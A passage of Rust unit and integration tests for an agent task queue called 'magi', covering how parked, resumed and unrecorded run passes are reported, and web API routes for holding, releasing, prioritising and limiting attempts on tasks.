14875        let task = Task::new(
14876            "t".to_owned(),
14877            "Do it".to_owned(),
14878            PathBuf::from("/repo/magi"),
14879            Source::Human,
14880        );
14881        let v = task_run_view(
14882            "20260902-140501-aaaa",
14883            Some(&s),
14884            RunSlot {
14885                n: 1,
14886                resumed: false,
14887                resumed_later: None,
14888                prior: None,
14889                last: true,
14890                ..RunSlot::default()
14891            },
14892            &task,
14893        );
14894        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
14895    }
14896
14897    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
14898        let mut s = flow_run(RunStatus::Implementing, edit);
14899        s.parked = false;
14900        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
14901        task_run_view(
14902            "20260902-140501-aaaa",
14903            Some(&s),
14904            RunSlot {
14905                n: 1,
14906                resumed: false,
14907                resumed_later: Some(2),
14908                prior: None,
14909                last: false,
14910                ..RunSlot::default()
14911            },
14912            &task,
14913        )
14914    }
14915
14916    #[test]
14917    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
14918        let v = earlier_pass_view(|_| {});
14919        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
14920        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
14921        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
14922        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
14923        assert_eq!(v.exit, RunExit::Interrupted);
14924        assert_eq!(v.attempt, AttemptCost::Unknown);
14925    }
14926
14927    #[test]
14928    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
14929        let v = earlier_pass_view(|s| {
14930            s.quota.push(crate::run::QuotaLoss {
14931                seat: "judge-1".to_owned(),
14932                node: "judge".to_owned(),
14933                at: Timestamp::now(),
14934                reset: None,
14935            });
14936        });
14937        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
14938        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
14939        assert_eq!(v.attempt, AttemptCost::Unknown);
14940    }
14941
14942    #[test]
14943    fn the_current_pass_states_its_recorded_cause_and_cost() {
14944        let slot = || RunSlot {
14945            n: 1,
14946            resumed: false,
14947            resumed_later: None,
14948            prior: None,
14949            last: true,
14950            ..RunSlot::default()
14951        };
14952        let task = flow_task(&["20260902-140501-aaaa"]);
14953        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
14954        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
14955        assert_eq!(
14956            (v.exit, v.attempt),
14957            (RunExit::Parked, AttemptCost::Refunded)
14958        );
14959        let spent = flow_run(RunStatus::Blocked, |_| {});
14960        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
14961        assert_eq!(v.attempt, AttemptCost::Spent);
14962        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
14963    }
14964
14965    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
14966        crate::run::RunPass {
14967            index,
14968            started_at: Timestamp::now(),
14969            resumed: index > 0,
14970            ended_at: end.as_ref().map(|_| Timestamp::now()),
14971            end,
14972            task_entry: true,
14973        }
14974    }
14975
14976    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
14977        Some(crate::run::PassEnd::Parked { cause })
14978    }
14979
14980    fn upgrade_cause() -> crate::run::ParkCause {
14981        crate::run::ParkCause::Upgrade {
14982            from: "0.121.0".to_owned(),
14983            to: Some("0.121.1".to_owned()),
14984        }
14985    }
14986
14987    fn settled_pass(
14988        run: &str,
14989        index: usize,
14990        cost: crate::queue::PassCost,
14991    ) -> crate::queue::TaskPass {
14992        crate::queue::TaskPass {
14993            run: run.to_owned(),
14994            pass_index: index,
14995            cost,
14996            attempts_after: 1,
14997            settled_at: Timestamp::now(),
14998            parked: None,
14999        }
15000    }
15001
15002    const RUN_X: &str = "20261011-223708-4334";
15003
15004    #[test]
15005    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
15006        use crate::queue::PassCost;
15007        let run = flow_run(RunStatus::Implementing, |s| {
15008            s.passes = vec![
15009                recorded_pass(0, parked(upgrade_cause())),
15010                recorded_pass(1, None),
15011            ];
15012        });
15013        let mut task = flow_task(&[RUN_X, RUN_X]);
15014        task.attempts = 1;
15015        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
15016        let h = task_history(&task, |_| Some(run.clone()));
15017        assert_eq!(h.len(), 2);
15018        assert_eq!(h[0].kind, "competition");
15019        assert_eq!(h[1].kind, "resume");
15020        assert_eq!(
15021            (h[0].exit, h[0].attempt),
15022            (RunExit::Parked, AttemptCost::Refunded)
15023        );
15024        assert!(
15025            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
15026            "{}",
15027            h[0].outcome
15028        );
15029        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
15030        assert!(
15031            h[0].outcome.contains("pass #2 resumed the same run"),
15032            "{}",
15033            h[0].outcome
15034        );
15035        assert!(
15036            h[0].outcome.contains("pass 1 of 2 over run"),
15037            "{}",
15038            h[0].outcome
15039        );
15040        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
15041        assert_eq!(
15042            h[0].exit_label,
15043            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
15044        );
15045        let f = task_flow(&task, &h, 2, None);
15046        // Two passes of one run, one of two attempts consumed.
15047        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
15048        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15049        assert!(
15050            f.edges[1].label.contains("upgrade 0.121.0"),
15051            "{}",
15052            f.edges[1].label
15053        );
15054        assert!(
15055            f.edges[1].label.contains("resume the same run"),
15056            "{}",
15057            f.edges[1].label
15058        );
15059        assert_eq!(f.nodes[1].note, Some("parked"));
15060    }
15061
15062    #[test]
15063    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
15064        let mut a = flow_run(RunStatus::Implementing, |s| {
15065            s.passes = vec![
15066                recorded_pass(0, parked(upgrade_cause())),
15067                recorded_pass(1, None),
15068            ];
15069        });
15070        let mut b = flow_run(RunStatus::Failed, |s| {
15071            s.passes = vec![recorded_pass(0, None)];
15072        });
15073        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
15074        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
15075        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
15076        let mut task = flow_task(&[]);
15077        task.start("a".into());
15078        task.start("b".into());
15079        task.start("a".into());
15080        assert_eq!(task.runs, ["b", "a"]);
15081        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
15082        let h = task_history(&task, |id| {
15083            Some(if id == "a" { a.clone() } else { b.clone() })
15084        });
15085        assert_eq!(
15086            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
15087            ["a", "b", "a"]
15088        );
15089        assert_eq!(h[0].attempt, AttemptCost::Refunded);
15090        assert!(h[0].outcome.contains("upgrade"));
15091        assert_eq!(h[2].kind, "resume");
15092        assert!(h[2].pass.is_some());
15093        // The old repeated-id format must show the same recorded passes.
15094        task.runs = vec!["a".into(), "b".into(), "a".into()];
15095        let old = task_history(&task, |id| {
15096            Some(if id == "a" { a.clone() } else { b.clone() })
15097        });
15098        assert_eq!(
15099            old.iter()
15100                .map(|v| (&v.id, &v.kind, v.attempt))
15101                .collect::<Vec<_>>(),
15102            h.iter()
15103                .map(|v| (&v.id, &v.kind, v.attempt))
15104                .collect::<Vec<_>>()
15105        );
15106    }
15107
15108    #[test]
15109    fn an_upgrade_whose_target_was_not_known_says_so() {
15110        let run = flow_run(RunStatus::Implementing, |s| {
15111            s.passes = vec![
15112                recorded_pass(
15113                    0,
15114                    parked(crate::run::ParkCause::Upgrade {
15115                        from: "0.121.0".to_owned(),
15116                        to: None,
15117                    }),
15118                ),
15119                recorded_pass(1, None),
15120            ];
15121        });
15122        let task = flow_task(&[RUN_X, RUN_X]);
15123        let h = task_history(&task, |_| Some(run.clone()));
15124        assert!(
15125            h[0].outcome.contains("upgrade from 0.121.0"),
15126            "{}",
15127            h[0].outcome
15128        );
15129        // No settle record: the refund is not claimed.
15130        assert_eq!(h[0].attempt, AttemptCost::Unknown);
15131    }
15132
15133    #[test]
15134    fn each_pass_keeps_its_own_cause_across_several_resumes() {
15135        use crate::queue::PassCost;
15136        use crate::run::ParkCause;
15137        let run = flow_run(RunStatus::Implementing, |s| {
15138            s.passes = vec![
15139                recorded_pass(0, parked(upgrade_cause())),
15140                recorded_pass(
15141                    1,
15142                    parked(ParkCause::Interrupt {
15143                        reason: "task a1b2 asked to run first".to_owned(),
15144                    }),
15145                ),
15146                recorded_pass(2, parked(ParkCause::Operator)),
15147                recorded_pass(3, None),
15148            ];
15149        });
15150        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
15151        task.attempts = 1;
15152        task.passes = (0..3)
15153            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
15154            .collect();
15155        let h = task_history(&task, |_| Some(run.clone()));
15156        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
15157        assert!(
15158            h[1].outcome.contains("task a1b2 asked to run first"),
15159            "{}",
15160            h[1].outcome
15161        );
15162        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
15163        assert!(
15164            h[2].outcome.contains("operator asked the loop to park"),
15165            "{}",
15166            h[2].outcome
15167        );
15168        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
15169        let f = task_flow(&task, &h, 2, None);
15170        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
15171    }
15172
15173    #[test]
15174    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
15175        let run = flow_run(RunStatus::Implementing, |s| {
15176            s.passes = vec![
15177                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
15178                recorded_pass(1, None),
15179            ];
15180        });
15181        let task = flow_task(&[RUN_X, RUN_X]);
15182        let h = task_history(&task, |_| Some(run.clone()));
15183        assert_eq!(h[0].exit, RunExit::Interrupted);
15184        assert_eq!(h[0].attempt, AttemptCost::Unknown);
15185        assert!(
15186            h[0].outcome.contains("without recording why"),
15187            "{}",
15188            h[0].outcome
15189        );
15190        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
15191        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
15192    }
15193
15194    #[test]
15195    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
15196        use crate::queue::PassCost;
15197        // Three entries, but the run only began keeping passes at the last
15198        // two: the first is legacy and must not be given a cause.
15199        let run = flow_run(RunStatus::Implementing, |s| {
15200            s.passes = vec![
15201                recorded_pass(0, parked(upgrade_cause())),
15202                recorded_pass(1, None),
15203            ];
15204        });
15205        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
15206        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
15207        let h = task_history(&task, |_| Some(run.clone()));
15208        assert!(h[0].pass.is_none());
15209        assert_eq!(h[0].exit, RunExit::Interrupted);
15210        assert_eq!(h[0].attempt, AttemptCost::Unknown);
15211        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
15212        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
15213        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
15214        // A run with no passes at all is entirely unknown.
15215        let legacy = flow_run(RunStatus::Implementing, |_| {});
15216        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
15217        assert!(h.iter().all(|v| v.pass.is_none()));
15218        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
15219    }
15220
15221    #[test]
15222    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
15223        use crate::queue::PassCost;
15224        // Pass 1 is a web-button resume: a pass of the run, no entry of the
15225        // task. The two entries are passes 0 and 2.
15226        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
15227        web.task_entry = false;
15228        let run = flow_run(RunStatus::Implementing, |s| {
15229            s.passes = vec![
15230                recorded_pass(0, parked(upgrade_cause())),
15231                web.clone(),
15232                recorded_pass(2, None),
15233            ];
15234        });
15235        let mut task = flow_task(&[RUN_X, RUN_X]);
15236        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
15237        let h = task_history(&task, |_| Some(run.clone()));
15238        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
15239        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
15240
15241        // Legacy first entry, then a web resume that parked for an upgrade,
15242        // then the daemon's pass: the legacy entry must stay unknown.
15243        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
15244        web0.task_entry = false;
15245        let run = flow_run(RunStatus::Implementing, |s| {
15246            s.passes = vec![web0.clone(), recorded_pass(1, None)];
15247        });
15248        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
15249        assert!(h[0].pass.is_none());
15250        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
15251        assert!(h[1].pass.is_some());
15252    }
15253
15254    #[tokio::test]
15255    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
15256        let dir = tempfile::tempdir().unwrap();
15257        let queue = Queue::at(dir.path().join("queue"));
15258        let ui = Arc::new(Ui::new(
15259            queue.clone(),
15260            Questions::at(dir.path().join("questions")),
15261            Talks::at(dir.path().join("talks")),
15262            dir.path().join("runs"),
15263            dir.path().to_path_buf(),
15264            dir.path().to_path_buf(),
15265        ));
15266        let mut t = Task::new(
15267            "recover".into(),
15268            "Inspect".into(),
15269            PathBuf::from("."),
15270            Source::Human,
15271        );
15272        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
15273        t.start("run-A".into());
15274        t.release_operator("choice", Some("resume-question"));
15275        t.resume_override = Some(crate::queue::OperatorResume {
15276            question_id: "resume-question".into(),
15277            at: jiff::Timestamp::now(),
15278            conductor_rehold: None,
15279            forced: true,
15280            pinned_run: Some("run-A".into()),
15281        });
15282        t.hold_machine(Some("inspection pending".into()));
15283        t.edit("recover".into(), "Reuse approved PR head".into())
15284            .unwrap();
15285        queue.put(&mut t).unwrap();
15286        let mut cli = t.clone();
15287        cli.release_operator("cli", None);
15288        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
15289        let reloaded = queue.get(&t.id).unwrap();
15290        assert_eq!(reply.task.status, TaskStatus::Queued);
15291        assert!(reloaded.resume_override.is_none());
15292        assert_eq!(reloaded.answers, t.answers);
15293        let mut web = reloaded.resumption.unwrap();
15294        let cli = cli.resumption.unwrap();
15295        assert_eq!(web.source, "web");
15296        web.source = cli.source.clone();
15297        web.at = cli.at;
15298        assert_eq!(web, cli);
15299    }
15300
15301    #[tokio::test]
15302    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
15303        let f = Fixture::start().await;
15304        let queue = f.queue();
15305        let mut task = Task::new(
15306            "spent".to_owned(),
15307            "Try again".to_owned(),
15308            PathBuf::from("/repo/magi"),
15309            Source::Human,
15310        );
15311        task.start("20260902-140502-bbbb".to_owned());
15312        task.fail("agent gave up", 9);
15313        queue.put(&mut task).expect("file the task");
15314
15315        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
15316        assert_eq!(held.status, 200);
15317        assert_eq!(held.json()["status_str"], "held");
15318
15319        let released = f
15320            .post(&format!("/api/queue/{}/release", task.id), None)
15321            .await;
15322        assert_eq!(released.status, 200);
15323        assert_eq!(released.json()["status_str"], "queued");
15324        assert_eq!(released.json()["resumption"]["source"], "web");
15325        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
15326        let mut cli = task.clone();
15327        cli.release_operator("cli", None);
15328        let web = queue.get(&task.id).unwrap().resumption.unwrap();
15329        let cli = cli.resumption.unwrap();
15330        assert_eq!(web.instruction, cli.instruction);
15331        assert_eq!(web.answers_through, cli.answers_through);
15332        assert_eq!(web.runs_through, cli.runs_through);
15333        assert_eq!(web.cleared_reason, cli.cleared_reason);
15334        assert_eq!(
15335            released.json()["attempts"],
15336            0,
15337            "release is a real second chance, not an instant re-hold"
15338        );
15339        assert_eq!(
15340            queue.get(&task.id).expect("reload").status,
15341            TaskStatus::Queued,
15342            "the change is on disk, not only in the reply"
15343        );
15344        assert!(
15345            !f.home
15346                .path()
15347                .join("queue")
15348                .join(format!("{}.lock", task.id))
15349                .exists(),
15350            "the claim the mutation took is released again"
15351        );
15352    }
15353
15354    #[tokio::test]
15355    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
15356        let f = Fixture::start().await;
15357        let queue = f.queue();
15358        let mut task = Task::new(
15359            "busy".to_owned(),
15360            "Running right now".to_owned(),
15361            PathBuf::from("/repo/magi"),
15362            Source::Human,
15363        );
15364        queue.put(&mut task).expect("file the task");
15365        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
15366
15367        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
15368
15369        assert_eq!(res.status, 409);
15370        assert_eq!(
15371            queue.get(&task.id).expect("reload").status,
15372            TaskStatus::Queued,
15373            "the refused hold changed nothing"
15374        );
15375    }
15376
15377    #[tokio::test]
15378    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
15379        let f = Fixture::start().await;
15380        let queue = f.queue();
15381        let mut task = Task::new(
15382            "waiting on the migration".to_owned(),
15383            "Do the thing".to_owned(),
15384            PathBuf::from("/repo/magi"),
15385            Source::Human,
15386        );
15387        queue.put(&mut task).expect("file the task");
15388
15389        let held = f
15390            .post(
15391                &format!("/api/queue/{}/hold", task.id),
15392                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
15393            )
15394            .await;
15395        assert_eq!(held.status, 200, "{}", held.body);
15396        assert_eq!(held.json()["status_str"], "held");
15397        assert_eq!(
15398            held.json()["hold_reason"],
15399            "waiting for 20260101-000000-aaaa to land"
15400        );
15401
15402        let listed = f.get("/api/queue").await.json();
15403        assert_eq!(
15404            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
15405            "the card reads the reason off the same list route"
15406        );
15407
15408        // A hold with no body at all must keep working - most holds have no
15409        // reason to give.
15410        let mut plain = Task::new(
15411            "no reason given".to_owned(),
15412            "Do another thing".to_owned(),
15413            PathBuf::from("/repo/magi"),
15414            Source::Human,
15415        );
15416        queue.put(&mut plain).expect("file the task");
15417        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
15418        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
15419        assert!(held_plain.json()["hold_reason"].is_null());
15420
15421        let released = f
15422            .post(&format!("/api/queue/{}/release", task.id), None)
15423            .await;
15424        assert_eq!(released.status, 200);
15425        assert!(
15426            released.json()["hold_reason"].is_null(),
15427            "a release must clear the reason so the next hold does not inherit it"
15428        );
15429    }
15430
15431    #[test]
15432    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
15433        for urgent in [true, false] {
15434            let body: UrgentBody =
15435                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
15436            assert_eq!(body.urgent, urgent);
15437        }
15438        for input in [
15439            r#"{}"#,
15440            r#"{"urgent":null}"#,
15441            r#"{"urgent":"true"}"#,
15442            r#"{"urgent":1}"#,
15443            r#"{"urgent":true,"extra":false}"#,
15444        ] {
15445            assert!(
15446                serde_json::from_str::<UrgentBody>(input).is_err(),
15447                "{input}"
15448            );
15449        }
15450    }
15451
15452    #[tokio::test]
15453    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
15454        let home = TempDir::new().unwrap();
15455        let q = Queue::at(home.path().join("queue"));
15456        let ui = Arc::new(Ui::new(
15457            q.clone(),
15458            Questions::at(home.path().join("questions")),
15459            Talks::at(home.path().join("talks")),
15460            home.path().join("runs"),
15461            home.path().into(),
15462            home.path().into(),
15463        ));
15464        let mut task = Task::new(
15465            "urgent handler".into(),
15466            "keep".into(),
15467            home.path().into(),
15468            Source::Human,
15469        );
15470        for status in [TaskStatus::Queued, TaskStatus::Held] {
15471            task.status = status;
15472            q.put(&mut task).unwrap();
15473            for urgent in [true, true, false, false] {
15474                let saved = queue_urgent(
15475                    State(Arc::clone(&ui)),
15476                    Path(task.short().into()),
15477                    Ok(Json(UrgentBody { urgent })),
15478                )
15479                .await
15480                .unwrap();
15481                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
15482                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
15483            }
15484        }
15485        task.status = TaskStatus::Queued;
15486        q.put(&mut task).unwrap();
15487        let claim = q.claim(&task.id).unwrap();
15488        let error = queue_urgent(
15489            State(Arc::clone(&ui)),
15490            Path(task.id.clone()),
15491            Ok(Json(UrgentBody { urgent: true })),
15492        )
15493        .await
15494        .unwrap_err();
15495        assert_eq!(error.status, StatusCode::CONFLICT);
15496        assert!(error.message.contains("released"));
15497        drop(claim);
15498        for status in [
15499            TaskStatus::Running,
15500            TaskStatus::Done,
15501            TaskStatus::Failed,
15502            TaskStatus::Blocked,
15503            TaskStatus::Parked,
15504        ] {
15505            task.status = status;
15506            q.put(&mut task).unwrap();
15507            let error = queue_urgent(
15508                State(Arc::clone(&ui)),
15509                Path(task.id.clone()),
15510                Ok(Json(UrgentBody { urgent: false })),
15511            )
15512            .await
15513            .unwrap_err();
15514            assert_eq!(error.status, StatusCode::BAD_REQUEST);
15515            assert!(error.message.contains(status.as_str()));
15516        }
15517    }
15518
15519    #[tokio::test]
15520    async fn urgent_api_updates_preserves_and_validates_tasks() {
15521        let f = Fixture::start().await;
15522        let q = f.queue();
15523        let mut t = Task::new(
15524            "urgent API".into(),
15525            "unchanged".into(),
15526            PathBuf::from("/repo/magi"),
15527            Source::Human,
15528        );
15529        t.attempts = 2;
15530        t.priority = 9;
15531        t.interrupt = true;
15532        t.hold_reason = Some("waiting for approval".into());
15533        for status in [TaskStatus::Queued, TaskStatus::Held] {
15534            t.status = status;
15535            q.put(&mut t).unwrap();
15536            for urgent in [true, true, false, false] {
15537                let response = f
15538                    .post(
15539                        &format!("/api/queue/{}/urgent", t.short()),
15540                        Some(&format!("{{\"urgent\":{urgent}}}")),
15541                    )
15542                    .await;
15543                assert_eq!(response.status, 200, "{}", response.body);
15544                assert_eq!(response.json()["urgent"], urgent);
15545                let saved = q.get(&t.id).unwrap();
15546                let mut before = serde_json::to_value(&t).unwrap();
15547                let mut after = serde_json::to_value(saved).unwrap();
15548                before["urgent"] = urgent.into();
15549                before.as_object_mut().unwrap().remove("updated_at");
15550                after.as_object_mut().unwrap().remove("updated_at");
15551                assert_eq!(after, before);
15552            }
15553        }
15554        let route = format!("/api/queue/{}/urgent", t.id);
15555        for body in [
15556            r#"{}"#,
15557            r#"{"urgent":null}"#,
15558            r#"{"urgent":"true"}"#,
15559            r#"{"urgent":1}"#,
15560            r#"{"urgent":true,"extra":false}"#,
15561            "{",
15562        ] {
15563            assert_eq!(f.post(&route, Some(body)).await.status, 400);
15564        }
15565        t.status = TaskStatus::Queued;
15566        q.put(&mut t).unwrap();
15567        let claim = q.claim(&t.id).unwrap();
15568        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
15569        assert_eq!(response.status, 409, "{}", response.body);
15570        assert!(!q.get(&t.id).unwrap().urgent);
15571        drop(claim);
15572        for status in [
15573            TaskStatus::Running,
15574            TaskStatus::Done,
15575            TaskStatus::Failed,
15576            TaskStatus::Blocked,
15577            TaskStatus::Parked,
15578        ] {
15579            t.status = status;
15580            q.put(&mut t).unwrap();
15581            for urgent in [true, false] {
15582                let response = f
15583                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
15584                    .await;
15585                assert_eq!(response.status, 400, "{}", response.body);
15586                assert!(response.body.contains(status.as_str()));
15587                assert!(response.body.contains("queued or held"));
15588                assert!(!q.get(&t.id).unwrap().urgent);
15589            }
15590        }
15591        assert_eq!(
15592            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
15593                .await
15594                .status,
15595            404
15596        );
15597    }
15598
15599    #[tokio::test]
15600    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
15601        let f = Fixture::start().await;
15602        let queue = f.queue();
15603        let mut older = Task::new(
15604            "filed first".to_owned(),
15605            "x".to_owned(),
15606            PathBuf::from("/repo/magi"),
15607            Source::Human,
15608        );
15609        older.id = "20260101-000001-aaaa".to_owned();
15610        let mut newer = Task::new(
15611            "filed second".to_owned(),
15612            "x".to_owned(),
15613            PathBuf::from("/repo/magi"),
15614            Source::Human,
15615        );
15616        newer.id = "20260101-000002-bbbb".to_owned();
15617        queue.put(&mut older).expect("file older");
15618        queue.put(&mut newer).expect("file newer");
15619
15620        // Equal priority: the newer task leads, the same order the old
15621        // newest-first `list()` already gave every equal-priority queue.
15622        let before = f.get("/api/queue").await.json();
15623        assert_eq!(before[0]["id"], newer.id);
15624        assert_eq!(before[1]["id"], older.id);
15625
15626        // Raising the *older* task is the meaningful case: it can only lead
15627        // now because its priority says so, not because it happens to be
15628        // newest.
15629        let raised = f
15630            .post(
15631                &format!("/api/queue/{}/priority", older.id),
15632                Some(r#"{"priority":10}"#),
15633            )
15634            .await;
15635        assert_eq!(raised.status, 200, "{}", raised.body);
15636        assert_eq!(raised.json()["priority"], 10);
15637
15638        let after = f.get("/api/queue").await.json();
15639        let names: Vec<&str> = after
15640            .as_array()
15641            .unwrap()
15642            .iter()
15643            .map(|t| t["id"].as_str().unwrap())
15644            .collect();
15645        // Highest priority first, which is the order next_runnable and
15646        // `magi task list` both use - GET /api/queue must agree with it
15647        // immediately, not just once the loop claims the task.
15648        assert_eq!(names[0], older.id, "the raised task now sorts first");
15649    }
15650
15651    #[tokio::test]
15652    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
15653        let dir = TempDir::new().unwrap();
15654        let q = Queue::at(dir.path().join("queue"));
15655        let ui = Arc::new(Ui::new(
15656            q.clone(),
15657            Questions::at(dir.path().join("questions")),
15658            Talks::at(dir.path().join("talks")),
15659            dir.path().join("runs"),
15660            dir.path().to_path_buf(),
15661            dir.path().to_path_buf(),
15662        ));
15663        let mut t = Task::new(
15664            "budget".into(),
15665            "keep".into(),
15666            dir.path().into(),
15667            Source::Human,
15668        );
15669        t.attempts = 2;
15670        t.runs.push("prior-run".into());
15671        t.hold_manual(Some("waiting".into()));
15672        q.put(&mut t).unwrap();
15673        let change = |value| {
15674            queue_attempt_limit(
15675                State(ui.clone()),
15676                Path(t.id.clone()),
15677                Ok(Json(AttemptLimitBody {
15678                    attempt_limit: value,
15679                })),
15680            )
15681        };
15682        for value in [
15683            serde_json::json!(3),
15684            serde_json::Value::Null,
15685            serde_json::json!(1),
15686        ] {
15687            let response = change(value.clone()).await.unwrap();
15688            assert_eq!(
15689                serde_json::to_value(response.0).unwrap()["attempt_limit"],
15690                value
15691            );
15692            let saved = q.get(&t.id).unwrap();
15693            assert_eq!(
15694                serde_json::to_value(&saved).unwrap()["attempt_limit"],
15695                value
15696            );
15697            assert_eq!(saved.status, TaskStatus::Held);
15698            assert_eq!(saved.attempts, t.attempts);
15699            assert_eq!(saved.runs, t.runs);
15700            assert_eq!(saved.hold_reason, t.hold_reason);
15701            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
15702                .await
15703                .unwrap()
15704                .0;
15705            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
15706            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
15707            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
15708            assert_eq!(outcome.max_attempts, detail.max_attempts);
15709        }
15710        for value in [
15711            serde_json::json!(0),
15712            serde_json::json!(-1),
15713            serde_json::json!(1.5),
15714            serde_json::json!("3"),
15715            serde_json::json!(true),
15716        ] {
15717            assert_eq!(
15718                change(value).await.err().unwrap().status,
15719                StatusCode::BAD_REQUEST
15720            );
15721        }
15722        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
15723        let claim = q.claim(&t.id).unwrap();
15724        assert_eq!(
15725            change(serde_json::json!(4)).await.err().unwrap().status,
15726            StatusCode::CONFLICT
15727        );
15728        drop(claim);
15729        for status in [
15730            TaskStatus::Running,
15731            TaskStatus::Done,
15732            TaskStatus::Failed,
15733            TaskStatus::Blocked,
15734            TaskStatus::Parked,
15735        ] {
15736            let mut stored = q.get(&t.id).unwrap();
15737            stored.status = status;
15738            q.put(&mut stored).unwrap();
15739            assert_eq!(
15740                change(serde_json::json!(4)).await.err().unwrap().status,
15741                StatusCode::BAD_REQUEST
15742            );
15743            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
15744        }
15745        let mut stored = q.get(&t.id).unwrap();
15746        stored.status = TaskStatus::Queued;
15747        q.put(&mut stored).unwrap();
15748        let _ = change(serde_json::Value::Null).await.unwrap();
15749        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
15750    }
15751
15752    #[tokio::test]
15753    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
15754        let dir = TempDir::new().unwrap();
15755        let repo = dir.path().join("repo");
15756        std::fs::create_dir(&repo).unwrap();
15757        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
15758        let q = Queue::at(dir.path().join("queue"));
15759        let ui = Arc::new(Ui::new(
15760            q.clone(),
15761            Questions::at(dir.path().join("questions")),
15762            Talks::at(dir.path().join("talks")),
15763            dir.path().join("runs"),
15764            dir.path().to_path_buf(),
15765            repo.clone(),
15766        ));
15767        let mut t = Task::new(
